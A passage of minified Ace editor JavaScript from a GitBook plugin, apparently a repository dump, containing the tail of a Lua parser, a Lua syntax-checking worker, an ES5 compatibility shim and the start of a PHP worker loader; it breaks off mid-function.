e=t.charAt(C),i=\"\",s=!1,o=C,u=D,a=_;\"[\"===e&&(i=V(),!1===i?i=e:s=!0);if(!s){while(C<r){if(G(t.charCodeAt(C)))break;C++}n.comments&&(i=t.slice(o,C))}if(n.comments){var f=v.comment(i,t.slice(M,C));n.locations&&(f.loc={start:{line:a,column:M-u},end:{line:_,column:C-D}}),n.ranges&&(f.range=[M,C]),O.push(f)}}function V(){var e=0,n=\"\",i=!1,s,o;C++;while(\"=\"===t.charAt(C+e))e++;if(\"[\"!==t.charAt(C+e))return!1;C+=e+1,G(t.charCodeAt(C))&&(_++,D=C++),o=C;while(C<r){s=t.charAt(C++),G(s.charCodeAt(0))&&(_++,D=C);if(\"]\"===s){i=!0;for(var u=0;u<e;u++)\"=\"!==t.charAt(C+u)&&(i=!1);\"]\"!==t.charAt(C+e)&&(i=!1)}if(i)break}return n+=t.slice(o,C-1),C+=e+1,n}function $(){L=k,k=A,A=P()}function J(e){return e===k.value?($(),!0):!1}function K(e){e===k.value?$():x(k,d.expected,e,k.value)}function Q(e){return 9===e||32===e||11===e||12===e}function G(e){return 10===e||13===e}function Y(e){return e>=48&&e<=57}function Z(e){return e>=48&&e<=57||e>=97&&e<=102||e>=65&&e<=70}function et(e){return e>=65&&e<=90||e>=97&&e<=122||95===e}function tt(e){return e>=65&&e<=90||e>=97&&e<=122||95===e||e>=48&&e<=57}function nt(e){switch(e.length){case 2:return\"do\"===e||\"if\"===e||\"in\"===e||\"or\"===e;case 3:return\"and\"===e||\"end\"===e||\"for\"===e||\"not\"===e;case 4:return\"else\"===e||\"goto\"===e||\"then\"===e;case 5:return\"break\"===e||\"local\"===e||\"until\"===e||\"while\"===e;case 6:return\"elseif\"===e||\"repeat\"===e||\"return\"===e;case 8:return\"function\"===e}return!1}function rt(e){return l===e.type?\"#-\".indexOf(e.value)>=0:u===e.type?\"not\"===e.value:!1}function it(e){switch(e.type){case\"CallExpression\":case\"TableCallExpression\":case\"StringCallExpression\":return!0}return!1}function st(e){if(s===e.type)return!0;if(u!==e.type)return!1;switch(e.value){case\"else\":case\"elseif\":case\"end\":case\"until\":return!0;default:return!1}}function ft(){ot.push(Array.apply(null,ot[ut++]))}function lt(){ot.pop(),ut--}function ct(e){if(-1!==b(ot[ut],e))return;ot[ut].push(e)}function ht(e){ct(e.name),pt(e,!0)}function pt(e,t){!t&&-1===w(at,\"name\",e.name)&&at.push(e),e.isLocal=t}function dt(e){return-1!==b(ot[ut],e)}function gt(){return new yt(k)}function yt(e){n.locations&&(this.loc={start:{line:e.line,column:e.range[0]-e.lineStart},end:{line:0,column:0}}),n.ranges&&(this.range=[e.range[0],0])}function bt(){mt&&vt.push(gt())}function wt(e){mt&&vt.push(e)}function Et(){$(),bt();var e=St();return s!==k.type&&N(k),mt&&!e.length&&(L=k),m(v.chunk(e))}function St(e){var t=[],r;n.scope&&ft();while(!st(k)){if(\"return\"===k.value){t.push(xt());break}r=xt(),r&&t.push(r)}return n.scope&&lt(),t}function xt(){bt();if(u===k.type)switch(k.value){case\"local\":return $(),Dt();case\"if\":return $(),Mt();case\"return\":return $(),Ot();case\"function\":$();var e=jt();return Bt(e);case\"while\":return $(),Lt();case\"for\":return $(),_t();case\"repeat\":return $(),At();case\"break\":return $(),Nt();case\"do\":return $(),kt();case\"goto\":return $(),Ct()}if(l===k.type&&J(\"::\"))return Tt();mt&&vt.pop();if(J(\";\"))return;return Pt()}function Tt(){var e=k.value,t=Ht();return n.scope&&(ct(\"::\"+e+\"::\"),pt(t,!0)),K(\"::\"),m(v.labelStatement(t))}function Nt(){return m(v.breakStatement())}function Ct(){var e=k.value,t=Ht();return n.scope&&(t.isLabel=dt(\"::\"+e+\"::\")),m(v.gotoStatement(t))}function kt(){var e=St();return K(\"end\"),m(v.doStatement(e))}function Lt(){var e=qt();K(\"do\");var t=St();return K(\"end\"),m(v.whileStatement(e,t))}function At(){var e=St();K(\"until\");var t=qt();return m(v.repeatStatement(t,e))}function Ot(){var e=[];if(\"end\"!==k.value){var t=It();null!=t&&e.push(t);while(J(\",\"))t=qt(),e.push(t);J(\";\")}return m(v.returnStatement(e))}function Mt(){var e=[],t,n,r;mt&&(r=vt[vt.length-1],vt.push(r)),t=qt(),K(\"then\"),n=St(),e.push(m(v.ifClause(t,n))),mt&&(r=gt());while(J(\"elseif\"))wt(r),t=qt(),K(\"then\"),n=St(),e.push(m(v.elseifClause(t,n))),mt&&(r=gt());return J(\"else\")&&(mt&&(r=new yt(L),vt.push(r)),n=St(),e.push(m(v.elseClause(n)))),K(\"end\"),m(v.ifStatement(e))}function _t(){var e=Ht(),t;n.scope&&ht(e);if(J(\"=\")){var r=qt();K(\",\");var i=qt(),s=J(\",\")?qt():null;return K(\"do\"),t=St(),K(\"end\"),m(v.forNumericStatement(e,r,i,s,t))}var o=[e];while(J(\",\"))e=Ht(),n.scope&&ht(e),o.push(e);K(\"in\");var u=[];do{var a=qt();u.push(a)}while(J(\",\"));return K(\"do\"),t=St(),K(\"end\"),m(v.forGenericStatement(o,u,t))}function Dt(){var e;if(a===k.type){var t=[],r=[];do e=Ht(),t.push(e);while(J(\",\"));if(J(\"=\"))do{var i=qt();r.push(i)}while(J(\",\"));if(n.scope)for(var s=0,o=t.length;s<o;s++)ht(t[s]);return m(v.localStatement(t,r))}if(J(\"function\"))return e=Ht(),n.scope&&ht(e),Bt(e,!0);T(\"<name>\",k)}function Pt(){var e=k,t,n;mt&&(n=gt()),t=zt();if(null==t)return N(k);if(\",=\".indexOf(k.value)>=0){var r=[t],i=[],s;while(J(\",\"))s=zt(),null==s&&T(\"<expression>\",k),r.push(s);K(\"=\");do s=qt(),i.push(s);while(J(\",\"));return wt(n),m(v.assignmentStatement(r,i))}return it(t)?(wt(n),m(v.callStatement(t))):N(e)}function Ht(){bt();var e=k.value;return a!==k.type&&T(\"<name>\",k),$(),m(v.identifier(e))}function Bt(e,t){var r=[];K(\"(\");if(!J(\")\"))for(;;)if(a===k.type){var i=Ht();n.scope&&ht(i),r.push(i);if(J(\",\"))continue;if(J(\")\"))break}else{if(p===k.type){r.push(Xt()),K(\")\");break}T(\"<name> or '...'\",k)}var s=St();return K(\"end\"),t=t||!1,m(v.functionStatement(e,r,t,s))}function jt(){var e,t,r;mt&&(r=gt()),e=Ht(),n.scope&&pt(e,!1);while(J(\".\"))wt(r),t=Ht(),n.scope&&pt(t,!1),e=m(v.memberExpression(e,\".\",t));return J(\":\")&&(wt(r),t=Ht(),n.scope&&pt(t,!1),e=m(v.memberExpression(e,\":\",t))),e}function Ft(){var e=[],t,n;for(;;){bt();if(l===k.type&&J(\"[\"))t=qt(),K(\"]\"),K(\"=\"),n=qt(),e.push(m(v.tableKey(t,n)));else if(a===k.type)t=qt(),J(\"=\")?(n=qt(),e.push(m(v.tableKeyString(t,n)))):e.push(m(v.tableValue(t)));else{if(null==(n=It())){vt.pop();break}e.push(m(v.tableValue(n)))}if(\",;\".indexOf(k.value)>=0){$();continue}if(\"}\"===k.value)break}return K(\"}\"),m(v.tableConstructorExpression(e))}function It(){var e=Ut(0);return e}function qt(){var e=It();if(null!=e)return e;T(\"<expression>\",k)}function Rt(e){var t=e.charCodeAt(0),n=e.length;if(1===n)switch(t){case 94:return 10;case 42:case 47:case 37:return 7;case 43:case 45:return 6;case 60:case 62:return 3}else if(2===n)switch(t){case 46:return 5;case 60:case 62:case 61:case 126:return 3;case 111:return 1}else if(97===t&&\"and\"===e)return 2;return 0}function Ut(e){var t=k.value,n,r;mt&&(r=gt());if(rt(k)){bt(),$();var i=Ut(8);i==null&&T(\"<expression>\",k),n=m(v.unaryExpression(t,i))}null==n&&(n=Xt(),null==n&&(n=zt()));if(null==n)return null;var s;for(;;){t=k.value,s=l===k.type||u===k.type?Rt(t):0;if(s===0||s<=e)break;(\"^\"===t||\"..\"===t)&&s--,$();var o=Ut(s);null==o&&T(\"<expression>\",k),mt&&vt.push(r),n=m(v.binaryExpression(t,n,o))}return n}function zt(){var e,t,r,i;mt&&(r=gt());if(a===k.type)t=k.value,e=Ht(),n.scope&&pt(e,i=dt(t));else{if(!J(\"(\"))return null;e=qt(),K(\")\"),n.scope&&(i=e.isLocal)}var s,u;for(;;)if(l===k.type)switch(k.value){case\"[\":wt(r),$(),s=qt(),e=m(v.indexExpression(e,s)),K(\"]\");break;case\".\":wt(r),$(),u=Ht(),n.scope&&pt(u,i),e=m(v.memberExpression(e,\".\",u));break;case\":\":wt(r),$(),u=Ht(),n.scope&&pt(u,i),e=m(v.memberExpression(e,\":\",u)),wt(r),e=Wt(e);break;case\"(\":case\"{\":wt(r),e=Wt(e);break;default:return e}else{if(o!==k.type)break;wt(r),e=Wt(e)}return e}function Wt(e){if(l===k.type)switch(k.value){case\"(\":$();var t=[],n=It();null!=n&&t.push(n);while(J(\",\"))n=qt(),t.push(n);return K(\")\"),m(v.callExpression(e,t));case\"{\":bt(),$();var r=Ft();return m(v.tableCallExpression(e,r))}else if(o===k.type)return m(v.stringCallExpression(e,Xt()));T(\"function arguments\",k)}function Xt(){var e=o|f|c|h|p,n=k.value,r=k.type,i;mt&&(i=gt());if(r&e){wt(i);var s=t.slice(k.range[0],k.range[1]);return $(),m(v.literal(r,n,s))}if(u===r&&\"function\"===n)return wt(i),$(),Bt(null);if(J(\"{\"))return wt(i),Ft()}function Vt(s,o){return\"undefined\"==typeof o&&\"object\"==typeof s&&(o=s,s=undefined),o||(o={}),t=s||\"\",n=S(i,o),C=0,_=1,D=0,r=t.length,ot=[[]],ut=0,at=[],vt=[],n.comments&&(O=[]),n.wait?e:Jt()}function $t(n){return t+=String(n),r=t.length,e}function Jt(e){\"undefined\"!=typeof e&&$t(e),r=t.length,mt=n.locations||n.ranges,A=P();var i=Et();n.comments&&(i.comments=O),n.scope&&(i.globals=at);if(vt.length>0)throw new Error(\"Location tracking failed. This is most likely a bug in luaparse\");return i}e.version=\"0.1.4\";var t,n,r,i=e.defaultOptions={wait:!1,comments:!0,scope:!1,locations:!1,ranges:!1},s=1,o=2,u=4,a=8,f=16,l=32,c=64,h=128,p=256;e.tokenTypes={EOF:s,StringLiteral:o,Keyword:u,Identifier:a,NumericLiteral:f,Punctuator:l,BooleanLiteral:c,NilLiteral:h,VarargLiteral:p};var d=e.errors={unexpected:\"Unexpected %1 '%2' near '%3'\",expected:\"'%1' expected near '%2'\",expectedToken:\"%1 expected near '%2'\",unfinishedString:\"unfinished string near '%1'\",malformedNumber:\"malformed number near '%1'\"},v=e.ast={labelStatement:function(e){return{type:\"LabelStatement\",label:e}},breakStatement:function(){return{type:\"BreakStatement\"}},gotoStatement:function(e){return{type:\"GotoStatement\",label:e}},returnStatement:function(e){return{type:\"ReturnStatement\",arguments:e}},ifStatement:function(e){return{type:\"IfStatement\",clauses:e}},ifClause:function(e,t){return{type:\"IfClause\",condition:e,body:t}},elseifClause:function(e,t){return{type:\"ElseifClause\",condition:e,body:t}},elseClause:function(e){return{type:\"ElseClause\",body:e}},whileStatement:function(e,t){return{type:\"WhileStatement\",condition:e,body:t}},doStatement:function(e){return{type:\"DoStatement\",body:e}},repeatStatement:function(e,t){return{type:\"RepeatStatement\",condition:e,body:t}},localStatement:function(e,t){return{type:\"LocalStatement\",variables:e,init:t}},assignmentStatement:function(e,t){return{type:\"AssignmentStatement\",variables:e,init:t}},callStatement:function(e){return{type:\"CallStatement\",expression:e}},functionStatement:function(e,t,n,r){return{type:\"FunctionDeclaration\",identifier:e,isLocal:n,parameters:t,body:r}},forNumericStatement:function(e,t,n,r,i){return{type:\"ForNumericStatement\",variable:e,start:t,end:n,step:r,body:i}},forGenericStatement:function(e,t,n){return{type:\"ForGenericStatement\",variables:e,iterators:t,body:n}},chunk:function(e){return{type:\"Chunk\",body:e}},identifier:function(e){return{type:\"Identifier\",name:e}},literal:function(e,t,n){return e=e===o?\"StringLiteral\":e===f?\"NumericLiteral\":e===c?\"BooleanLiteral\":e===h?\"NilLiteral\":\"VarargLiteral\",{type:e,value:t,raw:n}},tableKey:function(e,t){return{type:\"TableKey\",key:e,value:t}},tableKeyString:function(e,t){return{type:\"TableKeyString\",key:e,value:t}},tableValue:function(e){return{type:\"TableValue\",value:e}},tableConstructorExpression:function(e){return{type:\"TableConstructorExpression\",fields:e}},binaryExpression:function(e,t,n){var r=\"and\"===e||\"or\"===e?\"LogicalExpression\":\"BinaryExpression\";return{type:r,operator:e,left:t,right:n}},unaryExpression:function(e,t){return{type:\"UnaryExpression\",operator:e,argument:t}},memberExpression:function(e,t,n){return{type:\"MemberExpression\",indexer:t,identifier:n,base:e}},indexExpression:function(e,t){return{type:\"IndexExpression\",base:e,index:t}},callExpression:function(e,t){return{type:\"CallExpression\",base:e,arguments:t}},tableCallExpression:function(e,t){return{type:\"TableCallExpression\",base:e,arguments:t}},stringCallExpression:function(e,t){return{type:\"StringCallExpression\",base:e,argument:t}},comment:function(e,t){return{type:\"Comment\",value:e,raw:t}}},g=Array.prototype.slice,y=Object.prototype.toString,b=function(t,n){for(var r=0,i=t.length;r<i;r++)if(t[r]===n)return r;return-1},C,k,L,A,O,M,_,D;e.lex=P;var ot,ut,at,vt=[],mt;yt.prototype.complete=function(){n.locations&&(this.loc.end.line=L.line,this.loc.end.column=L.range[1]-L.lineStart),n.ranges&&(this.range[1]=L.range[1])},e.parse=Vt,e.write=$t,e.end=Jt})}),define(\"ace/mode/lua_worker\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/worker/mirror\",\"ace/mode/lua/luaparse\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../worker/mirror\").Mirror,s=e(\"../mode/lua/luaparse\"),o=t.Worker=function(e){i.call(this,e),this.setTimeout(500)};r.inherits(o,i),function(){this.onUpdate=function(){var e=this.doc.getValue(),t=[];try{s.parse(e)}catch(n){n instanceof SyntaxError&&t.push({row:n.line-1,column:n.column,text:n.message,type:\"error\"})}this.sender.emit(\"annotate\",t)}}.call(o.prototype)}),define(\"ace/lib/es5-shim\",[\"require\",\"exports\",\"module\"],function(e,t,n){function r(){}function w(e){try{return Object.defineProperty(e,\"sentinel\",{}),\"sentinel\"in e}catch(t){}}function H(e){return e=+e,e!==e?e=0:e!==0&&e!==1/0&&e!==-1/0&&(e=(e>0||-1)*Math.floor(Math.abs(e))),e}function B(e){var t=typeof e;return e===null||t===\"undefined\"||t===\"boolean\"||t===\"number\"||t===\"string\"}function j(e){var t,n,r;if(B(e))return e;n=e.valueOf;if(typeof n==\"function\"){t=n.call(e);if(B(t))return t}r=e.toString;if(typeof r==\"function\"){t=r.call(e);if(B(t))return t}throw new TypeError}Function.prototype.bind||(Function.prototype.bind=function(t){var n=this;if(typeof n!=\"function\")throw new TypeError(\"Function.prototype.bind called on incompatible \"+n);var i=u.call(arguments,1),s=function(){if(this instanceof s){var e=n.apply(this,i.concat(u.call(arguments)));return Object(e)===e?e:this}return n.apply(t,i.concat(u.call(arguments)))};return n.prototype&&(r.prototype=n.prototype,s.prototype=new r,r.prototype=null),s});var i=Function.prototype.call,s=Array.prototype,o=Object.prototype,u=s.slice,a=i.bind(o.toString),f=i.bind(o.hasOwnProperty),l,c,h,p,d;if(d=f(o,\"__defineGetter__\"))l=i.bind(o.__defineGetter__),c=i.bind(o.__defineSetter__),h=i.bind(o.__lookupGetter__),p=i.bind(o.__lookupSetter__);if([1,2].splice(0).length!=2)if(!function(){function e(e){var t=new Array(e+2);return t[0]=t[1]=0,t}var t=[],n;t.splice.apply(t,e(20)),t.splice.apply(t,e(26)),n=t.length,t.splice(5,0,\"XXX\"),n+1==t.length;if(n+1==t.length)return!0}())Array.prototype.splice=function(e,t){var n=this.length;e>0?e>n&&(e=n):e==void 0?e=0:e<0&&(e=Math.max(n+e,0)),e+t<n||(t=n-e);var r=this.slice(e,e+t),i=u.call(arguments,2),s=i.length;if(e===n)s&&this.push.apply(this,i);else{var o=Math.min(t,n-e),a=e+o,f=a+s-o,l=n-a,c=n-o;if(f<a)for(var h=0;h<l;++h)this[f+h]=this[a+h];else if(f>a)for(h=l;h--;)this[f+h]=this[a+h];if(s&&e===c)this.length=c,this.push.apply(this,i);else{this.length=c+s;for(h=0;h<s;++h)this[e+h]=i[h]}}return r};else{var v=Array.prototype.splice;Array.prototype.splice=function(e,t){return arguments.length?v.apply(this,[e===void 0?0:e,t===void 0?this.length-e:t].concat(u.call(arguments,2))):[]}}Array.isArray||(Array.isArray=function(t){return a(t)==\"[object Array]\"});var m=Object(\"a\"),g=m[0]!=\"a\"||!(0 in m);Array.prototype.forEach||(Array.prototype.forEach=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=arguments[1],s=-1,o=r.length>>>0;if(a(t)!=\"[object Function]\")throw new TypeError;while(++s<o)s in r&&t.call(i,r[s],s,n)}),Array.prototype.map||(Array.prototype.map=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0,s=Array(i),o=arguments[1];if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");for(var u=0;u<i;u++)u in r&&(s[u]=t.call(o,r[u],u,n));return s}),Array.prototype.filter||(Array.prototype.filter=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0,s=[],o,u=arguments[1];if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");for(var f=0;f<i;f++)f in r&&(o=r[f],t.call(u,o,f,n)&&s.push(o));return s}),Array.prototype.every||(Array.prototype.every=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0,s=arguments[1];if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");for(var o=0;o<i;o++)if(o in r&&!t.call(s,r[o],o,n))return!1;return!0}),Array.prototype.some||(Array.prototype.some=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0,s=arguments[1];if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");for(var o=0;o<i;o++)if(o in r&&t.call(s,r[o],o,n))return!0;return!1}),Array.prototype.reduce||(Array.prototype.reduce=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0;if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");if(!i&&arguments.length==1)throw new TypeError(\"reduce of empty array with no initial value\");var s=0,o;if(arguments.length>=2)o=arguments[1];else do{if(s in r){o=r[s++];break}if(++s>=i)throw new TypeError(\"reduce of empty array with no initial value\")}while(!0);for(;s<i;s++)s in r&&(o=t.call(void 0,o,r[s],s,n));return o}),Array.prototype.reduceRight||(Array.prototype.reduceRight=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0;if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");if(!i&&arguments.length==1)throw new TypeError(\"reduceRight of empty array with no initial value\");var s,o=i-1;if(arguments.length>=2)s=arguments[1];else do{if(o in r){s=r[o--];break}if(--o<0)throw new TypeError(\"reduceRight of empty array with no initial value\")}while(!0);do o in this&&(s=t.call(void 0,s,r[o],o,n));while(o--);return s});if(!Array.prototype.indexOf||[0,1].indexOf(1,2)!=-1)Array.prototype.indexOf=function(t){var n=g&&a(this)==\"[object String]\"?this.split(\"\"):F(this),r=n.length>>>0;if(!r)return-1;var i=0;arguments.length>1&&(i=H(arguments[1])),i=i>=0?i:Math.max(0,r+i);for(;i<r;i++)if(i in n&&n[i]===t)return i;return-1};if(!Array.prototype.lastIndexOf||[0,1].lastIndexOf(0,-3)!=-1)Array.prototype.lastIndexOf=function(t){var n=g&&a(this)==\"[object String]\"?this.split(\"\"):F(this),r=n.length>>>0;if(!r)return-1;var i=r-1;arguments.length>1&&(i=Math.min(i,H(arguments[1]))),i=i>=0?i:r-Math.abs(i);for(;i>=0;i--)if(i in n&&t===n[i])return i;return-1};Object.getPrototypeOf||(Object.getPrototypeOf=function(t){return t.__proto__||(t.constructor?t.constructor.prototype:o)});if(!Object.getOwnPropertyDescriptor){var y=\"Object.getOwnPropertyDescriptor called on a non-object: \";Object.getOwnPropertyDescriptor=function(t,n){if(typeof t!=\"object\"&&typeof t!=\"function\"||t===null)throw new TypeError(y+t);if(!f(t,n))return;var r,i,s;r={enumerable:!0,configurable:!0};if(d){var u=t.__proto__;t.__proto__=o;var i=h(t,n),s=p(t,n);t.__proto__=u;if(i||s)return i&&(r.get=i),s&&(r.set=s),r}return r.value=t[n],r}}Object.getOwnPropertyNames||(Object.getOwnPropertyNames=function(t){return Object.keys(t)});if(!Object.create){var b;Object.prototype.__proto__===null?b=function(){return{__proto__:null}}:b=function(){var e={};for(var t in e)e[t]=null;return e.constructor=e.hasOwnProperty=e.propertyIsEnumerable=e.isPrototypeOf=e.toLocaleString=e.toString=e.valueOf=e.__proto__=null,e},Object.create=function(t,n){var r;if(t===null)r=b();else{if(typeof t!=\"object\")throw new TypeError(\"typeof prototype[\"+typeof t+\"] != 'object'\");var i=function(){};i.prototype=t,r=new i,r.__proto__=t}return n!==void 0&&Object.defineProperties(r,n),r}}if(Object.defineProperty){var E=w({}),S=typeof document==\"undefined\"||w(document.createElement(\"div\"));if(!E||!S)var x=Object.defineProperty}if(!Object.defineProperty||x){var T=\"Property description must be an object: \",N=\"Object.defineProperty called on non-object: \",C=\"getters & setters can not be defined on this javascript engine\";Object.defineProperty=function(t,n,r){if(typeof t!=\"object\"&&typeof t!=\"function\"||t===null)throw new TypeError(N+t);if(typeof r!=\"object\"&&typeof r!=\"function\"||r===null)throw new TypeError(T+r);if(x)try{return x.call(Object,t,n,r)}catch(i){}if(f(r,\"value\"))if(d&&(h(t,n)||p(t,n))){var s=t.__proto__;t.__proto__=o,delete t[n],t[n]=r.value,t.__proto__=s}else t[n]=r.value;else{if(!d)throw new TypeError(C);f(r,\"get\")&&l(t,n,r.get),f(r,\"set\")&&c(t,n,r.set)}return t}}Object.defineProperties||(Object.defineProperties=function(t,n){for(var r in n)f(n,r)&&Object.defineProperty(t,r,n[r]);return t}),Object.seal||(Object.seal=function(t){return t}),Object.freeze||(Object.freeze=function(t){return t});try{Object.freeze(function(){})}catch(k){Object.freeze=function(t){return function(n){return typeof n==\"function\"?n:t(n)}}(Object.freeze)}Object.preventExtensions||(Object.preventExtensions=function(t){return t}),Object.isSealed||(Object.isSealed=function(t){return!1}),Object.isFrozen||(Object.isFrozen=function(t){return!1}),Object.isExtensible||(Object.isExtensible=function(t){if(Object(t)===t)throw new TypeError;var n=\"\";while(f(t,n))n+=\"?\";t[n]=!0;var r=f(t,n);return delete t[n],r});if(!Object.keys){var L=!0,A=[\"toString\",\"toLocaleString\",\"valueOf\",\"hasOwnProperty\",\"isPrototypeOf\",\"propertyIsEnumerable\",\"constructor\"],O=A.length;for(var M in{toString:null})L=!1;Object.keys=function I(e){if(typeof e!=\"object\"&&typeof e!=\"function\"||e===null)throw new TypeError(\"Object.keys called on a non-object\");var I=[];for(var t in e)f(e,t)&&I.push(t);if(L)for(var n=0,r=O;n<r;n++){var i=A[n];f(e,i)&&I.push(i)}return I}}Date.now||(Date.now=function(){return(new Date).getTime()});var _=\"\t\\n\u000b\\f\\r \\u00a0\\u1680\\u180e\\u2000\\u2001\\u2002\\u2003\\u2004\\u2005\\u2006\\u2007\\u2008\\u2009\\u200a\\u202f\\u205f\\u3000\\u2028\\u2029\\ufeff\";if(!String.prototype.trim||_.trim()){_=\"[\"+_+\"]\";var D=new RegExp(\"^\"+_+_+\"*\"),P=new RegExp(_+_+\"*$\");String.prototype.trim=function(){return String(this).replace(D,\"\").replace(P,\"\")}}var F=function(e){if(e==null)throw new TypeError(\"can't convert \"+e+\" to object\");return Object(e)}})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/worker-php.js",
    "content": "\"no use strict\";(function(e){function t(e,t){var n=e,r=\"\";while(n){var i=t[n];if(typeof i==\"string\")return i+r;if(i)return i.location.replace(/\\/*$/,\"/\")+(r||i.main||i.name);if(i===!1)return\"\";var s=n.lastIndexOf(\"/\");if(s===-1)break;r=n.substr(s)+r,n=n.slice(0,s)}return e}if(typeof e.window!=\"undefined\"&&e.document)return;if(e.require&&e.define)return;e.console||(e.console=function(){var e=Array.prototype.slice.call(arguments,0);postMessage({type:\"log\",data:e})},e.console.error=e.console.warn=e.console.log=e.console.trace=e.console),e.window=e,e.ace=e,e.onerror=function(e,t,n,r,i){postMessage({type:\"error\",data:{message:e,data:i.data,file:t,line:n,col:r,stack:i.stack}})},e.normalizeModule=function(t,n){if(n.indexOf(\"!\")!==-1){var r=n.split(\"!\");return e.normalizeModule(t,r[0])+\"!\"+e.normalizeModule(t,r[1])}if(n.charAt(0)==\".\"){var i=t.split(\"/\").slice(0,-1).join(\"/\");n=(i?i+\"/\":\"\")+n;while(n.indexOf(\".\")!==-1&&s!=n){var s=n;n=n.replace(/^\\.\\//,\"\").replace(/\\/\\.\\//,\"/\").replace(/[^\\/]+\\/\\.\\.\\//,\"\")}}return n},e.require=function(r,i){i||(i=r,r=null);if(!i.charAt)throw new Error(\"worker.js require() accepts only (parentId, id) as arguments\");i=e.normalizeModule(r,i);var s=e.require.modules[i];if(s)return s.initialized||(s.initialized=!0,s.exports=s.factory().exports),s.exports;if(!e.require.tlns)return console.log(\"unable to load \"+i);var o=t(i,e.require.tlns);return o.slice(-3)!=\".js\"&&(o+=\".js\"),e.require.id=i,e.require.modules[i]={},importScripts(o),e.require(r,i)},e.require.modules={},e.require.tlns={},e.define=function(t,n,r){arguments.length==2?(r=n,typeof t!=\"string\"&&(n=t,t=e.require.id)):arguments.length==1&&(r=t,n=[],t=e.require.id);if(typeof r!=\"function\"){e.require.modules[t]={exports:r,initialized:!0};return}n.length||(n=[\"require\",\"exports\",\"module\"]);var i=function(n){return e.require(t,n)};e.require.modules[t]={exports:{},factory:function(){var e=this,t=r.apply(this,n.map(function(t){switch(t){case\"require\":return i;case\"exports\":return e.exports;case\"module\":return e;default:return i(t)}}));return t&&(e.exports=t),e}}},e.define.amd={},require.tlns={},e.initBaseUrls=function(t){for(var n in t)require.tlns[n]=t[n]},e.initSender=function(){var n=e.require(\"ace/lib/event_emitter\").EventEmitter,r=e.require(\"ace/lib/oop\"),i=function(){};return function(){r.implement(this,n),this.callback=function(e,t){postMessage({type:\"call\",id:t,data:e})},this.emit=function(e,t){postMessage({type:\"event\",name:e,data:t})}}.call(i.prototype),new i};var n=e.main=null,r=e.sender=null;e.onmessage=function(t){var i=t.data;if(i.event&&r)r._signal(i.event,i.data);else if(i.command)if(n[i.command])n[i.command].apply(n,i.args);else{if(!e[i.command])throw new Error(\"Unknown command:\"+i.command);e[i.command].apply(e,i.args)}else if(i.init){e.initBaseUrls(i.tlns),require(\"ace/lib/es5-shim\"),r=e.sender=e.initSender();var s=require(i.module)[i.classname];n=e.main=new s(r)}}})(this),define(\"ace/lib/oop\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.inherits=function(e,t){e.super_=t,e.prototype=Object.create(t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}})},t.mixin=function(e,t){for(var n in t)e[n]=t[n];return e},t.implement=function(e,n){t.mixin(e,n)}}),define(\"ace/range\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";var r=function(e,t){return e.row-t.row||e.column-t.column},i=function(e,t,n,r){this.start={row:e,column:t},this.end={row:n,column:r}};(function(){this.isEqual=function(e){return this.start.row===e.start.row&&this.end.row===e.end.row&&this.start.column===e.start.column&&this.end.column===e.end.column},this.toString=function(){return\"Range: [\"+this.start.row+\"/\"+this.start.column+\"] -> [\"+this.end.row+\"/\"+this.end.column+\"]\"},this.contains=function(e,t){return this.compare(e,t)==0},this.compareRange=function(e){var t,n=e.end,r=e.start;return t=this.compare(n.row,n.column),t==1?(t=this.compare(r.row,r.column),t==1?2:t==0?1:0):t==-1?-2:(t=this.compare(r.row,r.column),t==-1?-1:t==1?42:0)},this.comparePoint=function(e){return this.compare(e.row,e.column)},this.containsRange=function(e){return this.comparePoint(e.start)==0&&this.comparePoint(e.end)==0},this.intersects=function(e){var t=this.compareRange(e);return t==-1||t==0||t==1},this.isEnd=function(e,t){return this.end.row==e&&this.end.column==t},this.isStart=function(e,t){return this.start.row==e&&this.start.column==t},this.setStart=function(e,t){typeof e==\"object\"?(this.start.column=e.column,this.start.row=e.row):(this.start.row=e,this.start.column=t)},this.setEnd=function(e,t){typeof e==\"object\"?(this.end.column=e.column,this.end.row=e.row):(this.end.row=e,this.end.column=t)},this.inside=function(e,t){return this.compare(e,t)==0?this.isEnd(e,t)||this.isStart(e,t)?!1:!0:!1},this.insideStart=function(e,t){return this.compare(e,t)==0?this.isEnd(e,t)?!1:!0:!1},this.insideEnd=function(e,t){return this.compare(e,t)==0?this.isStart(e,t)?!1:!0:!1},this.compare=function(e,t){return!this.isMultiLine()&&e===this.start.row?t<this.start.column?-1:t>this.end.column?1:0:e<this.start.row?-1:e>this.end.row?1:this.start.row===e?t>=this.start.column?0:-1:this.end.row===e?t<=this.end.column?0:1:0},this.compareStart=function(e,t){return this.start.row==e&&this.start.column==t?-1:this.compare(e,t)},this.compareEnd=function(e,t){return this.end.row==e&&this.end.column==t?1:this.compare(e,t)},this.compareInside=function(e,t){return this.end.row==e&&this.end.column==t?1:this.start.row==e&&this.start.column==t?-1:this.compare(e,t)},this.clipRows=function(e,t){if(this.end.row>t)var n={row:t+1,column:0};else if(this.end.row<e)var n={row:e,column:0};if(this.start.row>t)var r={row:t+1,column:0};else if(this.start.row<e)var r={row:e,column:0};return i.fromPoints(r||this.start,n||this.end)},this.extend=function(e,t){var n=this.compare(e,t);if(n==0)return this;if(n==-1)var 